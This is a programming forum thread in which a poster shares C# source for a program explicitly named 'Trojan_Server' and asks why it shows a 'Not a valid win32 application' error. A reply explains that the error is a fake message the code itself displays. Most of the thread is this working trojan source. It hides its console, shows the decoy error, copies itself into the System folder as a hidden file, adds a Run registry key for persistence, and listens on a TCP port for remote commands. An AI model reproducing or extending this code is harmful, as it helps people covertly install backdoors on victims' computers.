CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 2 of 2
  1. #1
    Join Date
    May 2011
    Posts
    1

    Not a valid win32 application

    Hi, whenever I try to run my server I always get a "Not a valid win32 application" error. How can i fix this?
    Hers my code:

    Code:
    using System;
    using System.Collections.Generic;
    using System.Net.Sockets;
    using System.IO;
    using Microsoft.Win32;
    using System.Reflection;
    using System.Runtime.InteropServices;
    using System.Text;
    
    
    namespace Trojan_Server
    {
        class Program
        {
            public static NetworkStream Receiver;
            [DllImport("kernel32.dll")]
            public static extern bool FreeConsole(); 
    
            static void Recieve()
            {
                while (true)
                {
                    try
                    {
                        byte[] recPacket = new byte[1000];
                        Receiver.Read(recPacket, 0, recPacket.Length);
                        Receiver.Flush();
                        string Command = Encoding.ASCII.GetString(recPacket);
                        string[] commandArray = System.Text.RegularExpressions.Regex.Split(Command, "!!!---");
                        Command = commandArray[0];
    
                        switch (Command)
                        {
                            case "MESSAGE":
                                string Msg = commandArray[1];
                                System.Windows.Forms.MessageBox.Show(Msg.Trim('\0'));
                                break;
                            case "OPENSITE":
                                string Site = commandArray[1];
                                System.Diagnostics.Process IE = new System.Diagnostics.Process();
                                IE.StartInfo.FileName = "iexplore.exe";
                                IE.StartInfo.Arguments = Site.Trim('\0');
                                IE.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Maximized;
                                IE.Start();
                                break;
                        }
                    }
    
                    catch { break; }
                }
            }
    
            public static bool CheckIfRan()
            {
                
                bool IsRan = false;
               
                if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe"))
                {
                    
                    RegistryKey k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
                    
                    if (k.GetValue("logonassist") != null)
                    {
                        
                        IsRan = true;
                    }
                    else
                    {
                        IsRan = false;
                    }
                }
                return IsRan;
            }
    
            
    
            public static void AddToStartup()
            {
                
    
                try
                {
                    File.Copy(Convert.ToString(System.Reflection.Assembly.GetExecutingAssembly().Location), Convert.ToString(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe"), true);
    
                   
    
                    File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", FileAttributes.Hidden);
    
                    File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", FileAttributes.System);
    
                    File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", FileAttributes.ReadOnly);
    
                    
    
                    RegistryKey k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
    
                   
    
                    k.SetValue("logonassist", Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", RegistryValueKind.String);
    
                    k.Close();
    
                }
    
                catch
                {
    
                    
    
                }
            }
            static void Main(string[] args)
            {
    
              
    
                FreeConsole();
    
                
    
                bool Check = CheckIfRan();
    
          
    
                if (!Check)
                {
    
                    
    
                    System.Windows.Forms.MessageBox.Show("This program is not a valid win32 application!", "Error", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);
    
                    AddToStartup();
    
                    
    
                    TcpListener l = new TcpListener(2000);
    
                    l.Start();
    
                    
    
                    TcpClient Connection = l.AcceptTcpClient();
    
                   
    
                    Receiver = Connection.GetStream();
    
                 
    
                    System.Threading.Thread Rec = new System.Threading.Thread(new System.Threading.ThreadStart(Recieve));
    
                    Rec.Start();
                }
    
            }
        }
    }

  2. #2
    Join Date
    May 2011
    Location
    Washington State
    Posts
    220

    Re: Not a valid win32 application

    Does the file "logonassistant.exe" exist where you're checking, and the registry entry exists? If not, the program is written to report 'not valid win32 application'.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  





Click Here to Expand Forum to Full Width

Featured